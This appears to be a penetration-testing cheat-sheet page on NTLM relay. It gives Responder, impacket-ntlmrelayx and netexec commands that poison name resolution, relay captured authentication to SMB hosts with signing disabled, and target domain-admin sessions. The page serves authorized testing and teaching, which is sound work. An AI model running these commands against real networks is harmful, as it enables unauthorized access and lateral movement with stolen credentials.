pentesting, updated

NTLM relay

Relay captured NTLM authentication attempts to another host instead of cracking the hash, to gain access directly.

Goal

Turn a captured NTLM authentication attempt into a session on another host that accepts the same credentials and has SMB signing disabled.

How to test

responder -I eth0                                 # poison LLMNR/NBT-NS: see [Responder](/docs/pentest-cheatsheets/tools/network/responder)
impacket-ntlmrelayx -t smb://10.10.10.6 -smb2support   # relay target: see [Impacket](/docs/pentest-cheatsheets/tools/network/impacket)
# a captured auth attempt against the poisoner now relays straight to the target
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt  # build a relay target list of signing-disabled hosts

What to look for

A relayed session landing with the victim’s privileges on the target host — especially when the victim is a domain admin or has local admin on many machines.

Notes

Only works against hosts with SMB signing disabled (see SMB enumeration) and where the authenticating account is not protected from relay (not in Protected Users).

§ home
~/knubertus/home/
1,1 Top